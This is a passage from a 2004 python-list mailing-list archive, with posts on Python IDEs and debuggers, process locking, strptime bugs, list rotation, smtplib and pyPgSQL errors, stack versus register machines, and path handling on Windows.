> 
> -Peter


Excellent - now how about calculating a parity-check byte?


From aleaxit at yahoo.com  Wed Sep 22 08:29:20 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 14:29:20 +0200
Subject: python ides
References: <mailman.3639.1095771048.5135.python-list@python.org>
	<Qg04d.3086$Ec4.2542@trndny04>
Message-ID: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com>

Chris S. <chrisks at NOSPAM.udel.edu> wrote:
   ...
> >   http://wingware.com/downloads
> 
> Aside from being proprietary, how is WingIDE different from SPE 
> (spe.pycs.net)?

I'm not a big IDE user, but I've seen WingIDE's debugger in the hand of
an IDE-wizard, and it _is_ incredible.


>  > and finaly ,a super complete debuger , with support for plone/zope ,
>  > wxwindows and a lot of advanced options.
> 
> I'll give you this one, this I don't think SPE has a traditional 
> "debugger". Although to be fair, I've never needed one for Python.

I don't need one often, but sometimes one DOES run into something
sufficiently weird -- and when it happens it can take days to sort it
out.  Case in point: rewriting the web layer for a client's multi-tier
application framework, to use twisted and nevow instead of Webware, we
were occasionally getting the weirdest 'recursion limit exceeded'
tracebacks -- and if you've ever tried to divine what's going on from a
Twisted traceback with a few dozen deferreds in play, some intercepting
errors and some not, etc, etc, you know that isn't comfortable.

Two of us trashed around for 2-3 days trying all the usual things.
Finally one of the GUI specialists in another subteam of the same
framework development team offered to help us with WingIDE.  He's the
one who does custom layout widgets, weird super-nested-lists-and-
trees-widgets, etc etc, for the cross-platform GUI-clients of that
framework, on top of Qt/PyQt etc, and claims that without that debugger
he could never solve the weird and delicate issues that continually
arise in his work.

Be that as it may, in 2-3 hours we were on top of the problem: there is
an intrinsic, undocumented limit to how many items you can feed to a
newvow:sequence renderer, if those items are deferreds, because they all
get chained into a linked list whose __del__, at the end, proceeds _by
recursion_.  So, if you have too many items in the sequence, it's
recursion-limit-exceeded time, and the dance of bouncing exception
handlers starts playing (in a too-deep-nesting situation, too).  Once
the problem was identified the solution was trivial (as it generally
is): there was really no justification for showing a thousand 'hits' of
some search as one humungous table in a single webpage anyway... we
simply hadn't bothered yet with implementing the code to slice the hits
into multiple pages and let the user page back and forth in the browser.
So we did, ensuring no single sequence of hundreds of deferreds could
ever be rendered in one gulp, and the problem disappeared.

But, that debugger really DID save our bacon on that occasion.  I'm not
sure how it managed to get control at the right time within that thicket
of exception handlers and let us examine hundreds of nested stack frames
looking for the underlying cause (I know the cause sounds trivially
obvious in retrospect, but THAT, too, is par for the course... one of
the hardest bugs to find in my career, back in Fortran days, boiled down
in the end to an .LT. being used where an .LE. should have been... a
*one*-*character* fix after days of fighting to find the right place out
of over a million lines of code in the system...!-).  But manage it did.
Next time we spend more than 2-3 hours chasing some bug that just won't
show up, I'm going to go and ask that WingIDE expert user for some
little help!-)


Alex


From zanesdad at bellsouth.net  Wed Sep 29 13:59:30 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Wed, 29 Sep 2004 13:59:30 -0400
Subject: multiple instance on Unix
In-Reply-To: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
Message-ID: <415AF802.1080909@bellsouth.net>

Nigel King wrote:

> Hi,
> I have (my son has!) implemented protection against multiple instances 
> causing havoc by creating a directory. This fails if it exists and 
> thus in a single instruction one gets both the acquire and the test.
>
> Windows has it's mutex which solves the problem. Is there any better 
> version for UNIX.
>
> Thanks
>
> Nigel King
>
Could you explain a little better what you're trying to do?  I'm 
guessing that you (your son - I'm looking forward to that day, myself ) 
have multiple Python processes and you want only one process to be able 
to create a directory?

If so, you could do something like this:

import time
import os
waiting_for_lock = 1

while waiting_for_lock:
    try:
        os.mkdir('/tmp/foo')
        waiting_for_lock = 0
    except OSError:
        print "could not create directory"
        time.sleep(1)
#do whatever you need one and only one process to do...

HTH

Jeremy Jones


From ed at leafe.com  Sat Sep 25 17:08:49 2004
From: ed at leafe.com (Ed Leafe)
Date: Sat, 25 Sep 2004 17:08:49 -0400
Subject: up with PyGUI!
In-Reply-To: <Xns956F822D03E24OKB@130.133.1.4>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
Message-ID: <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>

On Sep 25, 2004, at 7:47 PM, OKB (not okblacke) wrote:

> Well, I see what you mean, but conversely, even in the example you
> gave above, it seems to me that the "def __init__" is (or should be)
> superfluous.  The very fact that you are defining a button inside a
> panel clearly indicates that you want the button to be added to the
> panel.  Restating this information repeatedly with an __init__ and self
> references and explicit "add" methods is cumbersome.

	Actually, I just used the __init__() method because that would be more 
familiar to most Python folk. Dabo has a method named afterInit() that 
is designed for things such as adding contained objects, so that 
__init__() is available for the usual instance initialization stuff.

	I guess I don't see how this is any more cumbersome than creating 
ersatz "class" definitions in an attempt to avoid writing explicit 
code. In my form, I want 5 controls added, and I want particular 
properties set on each. So there are 5 addObject() commands, and just 
as many lines setting props as necessary. You would write 5 class 
definitions, each of which has just as many lines setting props within 
that class definition. The only difference that I can see is yours 
relies on an implicit technique to actually add the objects to their 
container, while mine uses an explicit one.

      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



From andywil at nortelnetworks.com  Wed Sep 15 14:13:20 2004
From: andywil at nortelnetworks.com (Andy Wilson)
Date: Wed, 15 Sep 2004 20:13:20 +0200
Subject: Strptime Issues
Message-ID: <588B15E2E2B1D41180B800508BF934F211DDB20E@bmdhd6.europe.nortel.com>

Something like this...

>             print list_dir[j]
>             print "%s" % (time.strptime (list_dir[j], '%Y%U%w'))
>             ttuple = time.strptime (list_dir[j], '%Y%U%w')
>             year   = ttuple[0]
>             month  = ttuple[1]
>             day    = ttuple[2]
>             print day, month, year
>
> I get the following output:
>
> 2004123
> (2004, 1, 1, 0, 0, 0, 2, 1, -1)
> 1 1 2004
>
> 2004124
> (2004, 1, 1, 0, 0, 0, 3, 1, -1)
> 1 1 2004 
________________________________

From: Batista, Facundo [mailto:FBatista at uniFON.com.ar] 
Sent: 15 September 2004 15:15
To: Wilson, Andy [IRE07:CM41:EXCH]
Subject: RE: Strptime Issues


Could you please submit to the list a piece of code that represents this
problem?
 
Thank you.



Facundo Batista 
Desarrollo de Red 
fbatista at unifon.com.ar 
(54 11) 5130-4643 
Cel: 15 5097 5024 

 

	-----Mensaje original-----
	De: Andy Wilson [mailto:andywil at nortelnetworks.com]
	Enviado el: Mi?rcoles, 15 de Septiembre de 2004 11:12
	Para: python-list at python.org
	Asunto: Strptime Issues
	
	
		Hi,
	 
	I have found some issues with the _strptime.py module in release
2.3.4, I was wondering if these are being addressed or someone can give me
any assistance.
	 
	1. I have code that uses a time string format of %Y%U%w, where %U is
week number and %w is day of the week. In release 2.3.x this appears broken.
Earlier code using python 1.5.2 works OK. See this link for more info
	 
	
http://groups.google.com/groups?q=strptime+bug+glawster&hl=en&lr=&ie=UTF-8&g
roup=comp.lang.python.*&selm=2e3b9aea.0406110245.32b59c14%40posting.google.c
om&rnum=1
	 
	2. In using Freeze to build a Solaris executable I get a "no module
strptime" error. The module has not been statically linked into the
executable (as far as I can tell); are there any issues around timemodule.c
and strptime? I have had to do some changes to Modules/Setup in the
distribution to get other modules "linked" but am at a loss for this one.
	 
	Regards,
	Andy Wilson

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040915/d1a77b19/attachment.html>

From mipe at starbase13.de  Wed Sep  1 04:14:36 2004
From: mipe at starbase13.de (Mipe)
Date: 1 Sep 2004 01:14:36 -0700
Subject: Script executes script?
Message-ID: <c869ac1b.0409010014.4c581fc@posting.google.com>

Hello,

for a testmodule I need to execute a python script from within a
python script. Something like:

-- ScriptA -->
import whatever

RunScript("scriptb.py")
RunScript("scriptc.py")
<-- Script A --

Is this possible? I didn't find a possibility to do this.

Would be nice if you could give me some advice here.

Thank you,
Mipe


From steven.bethard at gmail.com  Wed Sep 29 23:43:17 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 30 Sep 2004 03:43:17 +0000 (UTC)
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
Message-ID: <loom.20040930T054149-656@post.gmane.org>

M. Clift <noone <at> here.com> writes:
> 
> Could someone help me out with this?
> 
> items = ('a', 'b', 'c', 'd')
> items + 1 = ( 'b', 'c', 'd', 'a')

Is it necessary to (ab)use the + syntax?  If not, will this suffice:

>>> def rotate(seq, n):
...     return seq[n:] + seq[:n]
...
>>> rotate(range(10), 1)
[1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
>>> rotate(range(10), 2)
[2, 3, 4, 5, 6, 7, 8, 9, 0, 1]

You also might want to search google groups for more information.  If I 
understand your question right, this has been asked a number of times, for 
example:

http://groups.google.com/groups?hl=en&lr=&ie=UTF-
8&safe=off&selm=3c4e7b1a.1031701568%40news.mch.sni.de




From adalke at mindspring.com  Fri Sep 10 15:08:17 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Sep 2004 19:08:17 GMT
Subject: Using re to get data from text file: SOLVED
In-Reply-To: <pan.2004.09.10.18.15.54.416820@yahoo.com>
References: <pan.2004.09.10.14.29.26.175980@yahoo.com>
	<2qdtfbFto5rlU1@uni-berlin.de>
	<pan.2004.09.10.18.15.54.416820@yahoo.com>
Message-ID: <BYm0d.12281$w%6.7789@newsread1.news.pas.earthlink.net>

Jocknerd wrote:
> pattern = re.compile(r'^(.*\D\d+\D\d+)\D(.*)\D(.*\d+)\D(.*)\D(.*\d+)(.*)$')

Though I think that's esthetically poor.  The .* groups
will cause a lot of backtracking.

				Andrew
				dalke at dalkescientific.com



From steven.bethard at gmail.com  Tue Sep  7 03:00:03 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 7 Sep 2004 07:00:03 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <338366A6D2E2CA4C9DAEAE652E12A1DE01EA6117@au3010avexu1.global.avaya.com>
Message-ID: <loom.20040907T085836-209@post.gmane.org>

Delaney, Timothy C (Timothy <tdelaney <at> avaya.com> writes:
> Yes - the MRO changed for *new-style* classes - but as you will note,
> Alex specifically stated that it did not change for *classic* classes
> (i.e. those that do not inherit from object or a new-style class/type).

Right, but he was using that fact to try to claim that I was wrong in using 
MRO as an example of a backwards-incompatible change in Python.

Steve




From fumanchu at amor.org  Sat Sep  4 14:11:18 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sat, 4 Sep 2004 11:11:18 -0700
Subject: A little stricter type checking
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EB8@exchange.hqamor.amorhq.net>

Peter Otten wrote:
> Should Python be extended to allow type declarations, I expect them to
> appear in places where they reduce the usefulness of the code while
> claiming to make it safe...

True. But if optional type declarations make it into Python 3.0, they'll
be there for speed (compiled optimizations), not safety. In that realm,
it can be a fair trade.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From martin at v.loewis.de  Sun Sep  5 19:39:36 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 06 Sep 2004 01:39:36 +0200
Subject: compiling to python byte codes
In-Reply-To: <413ba25b$1@news.unimelb.edu.au>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
	<4137f79f$1@news.unimelb.edu.au>
	<4138207f$0$182$9b622d9e@news.freenet.de>
	<413ba25b$1@news.unimelb.edu.au>
Message-ID: <413ba3b1$0$175$9b622d9e@news.freenet.de>

Maurice LING wrote:
> Probably my question should be phrased as, given what x86/PPC processors 
> are register-based (even after more than a decade from the publication 
> of the book "Stack Machines - the new wave") and there isn't much 
> examples of stack-based processors, why is there a difference? It seems 
> wierd to me that if stack-based machines (physical processors or VMs) 
> are so good, why hadn't the processor engineering caught up?

Stack-based microprocessors would be very inefficient. If you don't
have registers, every operation will need to access the stack, which
is an access to main memory, which is expensive. The counter-argument
of interpreters against registers (difficult to decode opcodes, long
opcodes) does not hold for microprocessors, as they can decode the
instruction in parallel with doing other things (which an interpreter
couldn't).

For interpreters, the same rationale does not hold - even registers
would live in main memory, so there would be no performance gained.

Virtual machines are quite different from real machines, in many
respects.

Regards,
Martin


From peter at engcorp.com  Fri Sep 24 07:01:42 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 07:01:42 -0400
Subject: Check for presence fo directory
In-Reply-To: <415399c4$1@news.unimelb.edu.au>
References: <mailman.3828.1095996644.5135.python-list@python.org>
	<415399c4$1@news.unimelb.edu.au>
Message-ID: <pbadnZXDHOgKY87cRVn-jg@powergate.ca>

Maurice LING wrote:
> 
>> Should we assume you're rejecting os.path.exists() for some reason?
>>
> You can assume Maurice.knowledge(os.path.exists()) to raise an 
> exception. Thanks, I guess os.path.exists() is the one to use.

Make sure you check out its siblings, os.path.isfile() and
os.path.isdir(), as well.  Often it can be important to
make sure you aren't accidentally trying to treat an
*existing* file as a directory.

-Peter


From justin__devine at hotmail.com  Mon Sep 13 10:59:22 2004
From: justin__devine at hotmail.com (Justin)
Date: 13 Sep 2004 07:59:22 -0700
Subject: wxfont color?
Message-ID: <ci4cka$sfk@odak26.prod.google.com>

Does anybody know the syntax to change the color of a wxfont.
Can it be done without the more advanced encoding paramater?

-Thanks



From flavell at ph.gla.ac.uk  Sat Sep  4 08:28:11 2004
From: flavell at ph.gla.ac.uk (Alan J. Flavell)
Date: Sat, 4 Sep 2004 13:28:11 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <4139b0e3$0$19717$61fed72c@news.rcn.com>
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<4135ce4a$0$19726$61fed72c@news.rcn.com>
	<ApudnfQdCY-dfavcRVn-pQ@speakeasy.net>
	<41371ba4$0$19723$61fed72c@news.rcn.com>
	<87d613mckn.fsf@k9.prep.synonet.com>
	<4139b0e3$0$19717$61fed72c@news.rcn.com>
Message-ID: <Pine.LNX.4.61.0409041324060.8348@ppepc56.ph.gla.ac.uk>

On Sat, 4 Sep 2004 jmfbahciv at aol.com wrote:

> Are we suffering from the demise of the thingies we used to
> call DECUS when the workers got together instead of the PHBs
> and marketeers?

We certainly are.  Self-help meetings of techies have always been
a step-child as far as manglement are concerned.  I could list a few 
that I've been involved in over the years, that have been chipped away
bit by bit by cost-paring management until they finally lost critical 
mass.

But we have the 'net, so it's not all bad.


From cy.fbp.eryvtvne at ncbybtrglxn.pbz  Wed Sep  1 07:54:16 2004
From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ)
Date: Wed, 1 Sep 2004 13:54:16 +0200
Subject: Python cannot use SMTP...
Message-ID: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>

I cannot find out what is the problem with my Python. I cannot join to smtp
host.

> python
Python 2.3.4 (#1, Jun 22 2004, 04:42:42)
[GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-112.7.2)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import smtplib
>>> smtplib.SMTP('localhost')
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/local/lib/python2.3/smtplib.py", line 242, in __init__
    raise SMTPConnectError(code, msg)
smtplib.SMTPConnectError: (-1, "onnect: failed to connect to database:
Error: Access denied for user: 'admin at localhost' (Using password: YES)")

The same problem appears in Plone 2.0.4. I cannot send any emails because
of it and I do not know how to sove it. 

I checked PHP scripts on the same linux box, but it works fine. Only Python
has the problem...

--
JZ


From dubal at khimjiramdas.com  Sun Sep 26 03:41:49 2004
From: dubal at khimjiramdas.com (J Dubal)
Date: 26 Sep 2004 00:41:49 -0700
Subject: help: pypgsql: this code works in Fedora core 1, Not in FC2
Message-ID: <c345ff6f.0409252341.65335c89@posting.google.com>

Hello good people,

Following works in FC1 (python-2.2.3-7, postgresql-7.3.4-11,
kernel-2.4.22-1.2194.nptl, pyPgSQL-2.4)

from pyPgSQL   import PgSQL
conn  = PgSQL.connect('localhost',database='rop')
loccur  = conn.cursor()
loccur.execute("DECLARE itemcursor CURSOR FOR \
              SELECT * FROM locmf")
loccur.execute("FETCH ALL FROM itemcursor")
rec=loccur.fetchall()
print rec

However, following errors are produced in FC2 (python-2.3.3-6,
postgresql-7.4.2-1, kernel-2.6.8-1.521, pyPgSQL-2.4):

/usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py:2644: FutureWarning:
%u/%o/%x/%X of negative int will return a signed string in Python 2.4
and up
  name = "PgSQL_%08X" % id(self)
Traceback (most recent call last):
  File "tt1.py", line 5, in ?
    loccur.execute("DECLARE itemcursor CURSOR FOR \
  File "/usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py", line 3091,
in execute
    self.res = self.conn.conn.query('FETCH 1 FROM "%s"' % self.name)
libpq.OperationalError: ERROR:  cursor "PgSQL_F6F9906C" does not exist

Out of this, the first error is produced by conn.cursor() statement.

We have to use the "declare cursor" statement because we have to use
"fetch prior" statement later in the program. Is there a better way of
achiving this?

Something seems to have changed either python or in postgresql that is
causing this error. Can someone provide a solution/workaround?

Thanks in advance.
J Dubal.


From see at below.invalid  Sun Sep 19 23:16:07 2004
From: see at below.invalid (Paul Foley)
Date: Mon, 20 Sep 2004 15:16:07 +1200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<ad052e5c.0409191424.2aab5bb4@posting.google.com>
Message-ID: <m2vfe94olk.fsf@mycroft.actrix.gen.nz>

On 19 Sep 2004 15:24:31 -0700, Dan Bishop wrote:

> There are, of course, reasonably accurate rational approximations of
> pi.  For example, 355/113 (accurate to 6 decimal places), 312689/99532
> (9 decimal places), or 3126535/995207 (11 decimal places).  Also, the
> IEEE 754 double-precision representation of pi is equal to the
> rational number 4503599627370496/281474976710656.

I hope not!  That's equal to 16.  (The double float closest to) pi is
884279719003555/281474976710656

-- 
Don't worry about people stealing your ideas. If your ideas are any good,
you'll have to ram them down people's throats.
                                                          -- Howard Aiken
(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From robin.siebler at palmsource.com  Mon Sep 13 14:56:02 2004
From: robin.siebler at palmsource.com (Robin Siebler)
Date: 13 Sep 2004 11:56:02 -0700
Subject: Annotatable Python docs -- now a reality !!!
References: <b16e4ef7.0409130445.294ced1f@posting.google.com>
	<4145b657$0$284$4d4ebb8e@news.nl.uu.net>
Message-ID: <95c29a5e.0409131056.5f810616@posting.google.com>

So, is there a way to search for annotations?  I don't mean any text
in particular, I mean 'show me everything that has been annotated'.


From jdhunter at ace.bsd.uchicago.edu  Tue Sep 21 07:01:19 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Tue, 21 Sep 2004 06:01:19 -0500
Subject: Python for Perl programmers?
In-Reply-To: <c1e48b51.0409201820.217e1dd@posting.google.com>
	(markus.cl@gmx.de's message of "20 Sep 2004 19:20:07 -0700")
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
Message-ID: <m2wtyndgxs.fsf@mother.paradise.lost>

>>>>> "Markus" == Markus Dehmann <markus.cl at gmx.de> writes:

    Markus> I am using perl for everything, even bigger programs, with
    Markus> objects, uh, modules and stuff. I know pretty much every
    Markus> trick in perl and have a lot of experience.

I was the same way 3 years ago.  I read "Object Oriented Perl" by
Damian Conway and thought "God, this guy is a genius" (which he is), the
way he can get perl to do all this amazing stuff.  In 2001, mainly for
thesis procrastination, I decided to learn python.  I can honestly
say, I haven't touched a line of perl code since then, and hopefully
never will again.  In python you don't have to be a genius to do
inheritance or to pass an array of dictionaries; it just works.

Others have answered your quest for perl specific migration docs.  If
you are a perl guru, or a guru in any programming language, I doubt
you need documentation specific to your language of choice.  If you
know what a for loop is, what a class is, and so on, learning python
is easy.  I think the 1st 10 chapters in David Beazley's Python
Essential Reference are great -- they give a short but thorough
introduction to the core features.  For a more comprehensive and
recent treatment, take a look at Python in a Nutshell and The Python
Cookbook.

JDH


From jjl at pobox.com  Sun Sep 12 09:36:52 2004
From: jjl at pobox.com (John J. Lee)
Date: 12 Sep 2004 14:36:52 +0100
Subject: open and shut case
References: <NIT0d.400083$gE.34432@pd7tw3no>
Message-ID: <878ybfk3rf.fsf@pobox.com>

"Elaine Jackson" <elainejackson7355 at home.com> writes:

> Can python close a web-browser window it opened itself? The window in question
> will be displaying a webpage that resides on the local computer, which is
> running Windows 98. Knowing a way to do this would really help me out.

There are quite a few examples of automating IE with COM lying around
on Google and Google Groups if you know what to look for.
Unfortunately, COM is be rather obscure in many ways.

terms: IE, MSIE, Internet Explorer, COM, pywin32, win32all, ctypes

The win32 mailing list (whose name I forget -- sorry!) is a good
source.

PS. these days, your subject line sounds distinctly spammish
(especially since it's a woman posting the message to a
comp. newsgroup -- how likely can that be? ;-)


John


From spaamrobmccreaspremoveam at adelphia.net  Tue Sep 14 14:50:13 2004
From: spaamrobmccreaspremoveam at adelphia.net (Rob McCrea)
Date: Tue, 14 Sep 2004 14:50:13 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <656g254o.fsf@python.net>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<656g254o.fsf@python.net>
Message-ID: <7LudnZweyKXOoNrcRVn-sw@adelphia.com>

Thomas Heller wrote:

> Carlos Ribeiro <carribeiro at gmail.com> writes:
>>I'm frustrated. My search for a good IDE to support my activities --
> 
> If you work on Windows, you should really, really, really upgrade to
> win2k, at least - even if it costs some performance on your machine.
> 
> You can even *use* the 'dos-box' then ;-).
> 
> Thomas

In my not-at-all-humble-but-very-honest opinion, that's the worst 
suggestion I've heard in this topic.

Rob


From danperl at rogers.com  Mon Sep 27 02:26:01 2004
From: danperl at rogers.com (Dan Perl)
Date: Mon, 27 Sep 2004 02:26:01 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net><mailman.3864.1096040439.5135.python-list@python.org><mfydnUd5Idex1srcRVn-pQ@rogers.com><tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
Message-ID: <s-idnTG8IMTjL8rcRVn-ig@rogers.com>

I've done a little more digging into the Wing IDE documentation and this is 
one of the better explanations I've found on the "false exceptions":

 "As you try out the various demos from the tree on the left of the wxPython 
demo app, you will sometimes see Wing IDE report exceptions in its Error 
List dialog, which will come to the front as the wxPython demo pauses at the 
exception. These are not program errors or a malfunction of the IDE. As 
described at the end of the Error List text, these are caused by Wing's 
proactive exception detection algorithm, which cannot see into the C and C++ 
code that is handling these exceptions outside of the debugger.
To get past them, select "Ignore this exception location" in the Error List 
window and click on Continue Execution. You will see 3-4 of these the first 
time Wing IDE encounters them. After that, your ignore list is stored in the 
project so you will never see them again, even in future debug sessions. 
Subsequently, you will benefit from Wing's ability to stop immediately at 
the point of exception, rather than after the fact. This makes understanding 
the conditions leading to an error much easier and speeds up debug 
turn-around."

I can see a benefit in stopping at the point of exception, but if that 
causes false positives (term used by one of their support people) with the 
builtin modules that are implemented in C/C++, then I'd rather just live 
without this benefit.  Apparently, there is a way to disable that behavior 
(I found out about it only now), but Wing keeps recommending the "Ignore 
this exception location" solution.

And here is the kind of comment that really bothers me.  An actual statement 
from their documentation ("Debugging Zope with Wing IDE"):

"Another useful exception related feature is the ability to ignore 
exceptions selectively by line of code on which they occur. You can choose 
this option in the Error List window that comes up when an exception occurs. 
In Zope, as in other Python apps that contain some non-Python code, Wing 
will incorrectly identify some exceptions as unhandled because it cannot see 
whether enclosing C code is going to handle the exception. This usually 
happens in 1-2 places in Zope and can be dealt with by ignoring subsequent 
instances of the exception. The zope.wpr project distributed with the 
Wing+Zope bundle already has these ignores in place."

No, this is NOT a "useful exception related feature", it's a workaround for 
a bug.  And it's 1-2 times for Zope, it was 3-4 times in the comments above, 
how do they get these estimates?  I got this problem (er, useful exception 
related feature) with the first script I debugged.

Dan

"Carlos Ribeiro" <carribeiro at gmail.com> wrote in message 
news:mailman.3947.1096250696.5135.python-list at python.org...
> On Sun, 26 Sep 2004 21:36:18 -0400, Peter Hansen <peter at engcorp.com> 
> wrote:
>> Dan Perl wrote:
>> > I debugged one of my
>> > scripts (that I knew it works) and got an unexplainable exception.  It 
>> > turns
>> > out that Wing IDE falsely detects some exceptions.  They know about it 
>> > and
>> > they suggest that if you KNOW that it's a false exception you should 
>> > flag it
>> > to be ignored.  Yes, Wingware people, I know it's a false exception, 
>> > but
>>
>> What exactly is a "false exception"?  I have never heard of such
>> a thing, and can't imagine what it might be.  Python raises
>> exceptions, they are subclasses of Exception or (old-style)
>> strings, they have tracebacks, they come from a variety of
>> sources, there's lots of things to know about exceptions but
>> "falseness" is not something about which I'm aware...
>
> They're false in the sense that that they're not supposed to be raised
> to the attention of the user. What happens is that Wing IDE is super
> sensitive with regards to exceptions; when an exception is raised in
> some internal module, Wing tries to outsmart the library and warn the
> user that an exception happened. A "false exception" is one that would
> happen and be silently treated by the library itself, without nobody
> noticing, but that's catched by Wing IDE nonetheless, in a totally
> unnecessary and obstrusive way. You can see that it's a case where the
> tool tries to be too smart for its own good.
>
> p.s. Why do they do it? For what I could see, the intention seems to
> be able to catch situations where a valid exception that should be
> raised to the user attention is silented by a generic error handler.
> It really may be useful in some situations, but it isn't a reasonable
> default in my opinion.
>
> -- 
> Carlos Ribeiro
> Consultoria em Projetos
> blog: http://rascunhosrotos.blogspot.com
> blog: http://pythonnotes.blogspot.com
> mail: carribeiro at gmail.com
> mail: carribeiro at yahoo.com 




From ajsiegel at optonline.com  Sat Sep  4 07:32:16 2004
From: ajsiegel at optonline.com (Arthur)
Date: Sat, 04 Sep 2004 11:32:16 GMT
Subject: Method returning new instance of class?
Message-ID: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>

A bit inspired by the decorator discussions, I'm trying to tackle something
I had been avoiding.

Essentially I am trying to create a non-destructive tranformation of an
instance of a class - is one way of putting it.

The way I am currently conceptualizing a solution, what I need is a method
of the class that returns a new instance of the class.

I'm sure this is not new territory.

Suggestions appreciated.

Art




From sholden at holdenweb.com  Wed Sep  1 11:44:47 2004
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 01 Sep 2004 11:44:47 -0400
Subject: age of Python programmers
In-Reply-To: <d8778a53.0408311322.9ad0233@posting.google.com>
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<889cbba0.0408181206.1812881c@posting.google.com>
	<mailman.1900.1092860258.5135.python-list@python.org>
	<Xns954A5141FF84JanC@213.118.38.197>
	<d8778a53.0408311322.9ad0233@posting.google.com>
Message-ID: <6amZc.17353$ni.8118@okepread01>

nnes wrote:

> JanC <usenet_spam at janc.invalid> wrote in message news:<Xns954A5141FF84JanC at 213.118.38.197>...
> 
>>Gerardo Herzig -Departamento de Proyectos Especiales e Internet- Facultad 
>>de Medicina schreef:
>>
>>
>>>30 years old. First program at 11 (Basic) on ZX Spectrum.
>>
>>/me too (now 30 & started with ZX Spectrum Basic at 11)
> 
> 
> count another one, me too now 30 years, started with ZX Spectrum Basic at 11

I'm 54, and I first programmed an ICT (later ICL) 1900 in Algol 60 and 
PLAN at the age of 16.

regards
  Steve


From benn at cenix-bioscience.com  Mon Sep 13 08:18:43 2004
From: benn at cenix-bioscience.com (Neil Benn)
Date: Mon, 13 Sep 2004 14:18:43 +0200
Subject: PocketPc Installer
Message-ID: <41459023.5000808@cenix-bioscience.com>

Hello,

          This is slightly off topic but you guys are bright (creep, 
creep!) so - when people write apps for handhelds (specifically Win CE 
handhelds) what do you use for installers (I know that there are 
installers for MS based products but that doesn't help anyone using non 
MS languages!).  I need to use an installer as I don't want to rely on 
'copy the file to the right place' installs for the end user.

    Any advice greatly appreciated.

Cheers,

Neil

-- 




From jeff at ccvcorp.com  Tue Sep 14 16:34:04 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Tue, 14 Sep 2004 13:34:04 -0700
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <mailman.3327.1095192228.5135.python-list@python.org>
References: <mailman.3327.1095192228.5135.python-list@python.org>
Message-ID: <10keladc9ggrr54@corp.supernews.com>

Carlos Ribeiro wrote:

>** Solving the problem **
>
>DrPython relies on string concatenation to build new pathnames. My
>root dir is "c:/", and at some places in the code, other pieces are
>concatenated to it, causing the problem. 
>

It seems to me that the problem, here, is that DrPython *should* be 
using os.path.join() to build those pathnames, instead of 
concatenation.  (os.path.join() intelligently removes duplicate 
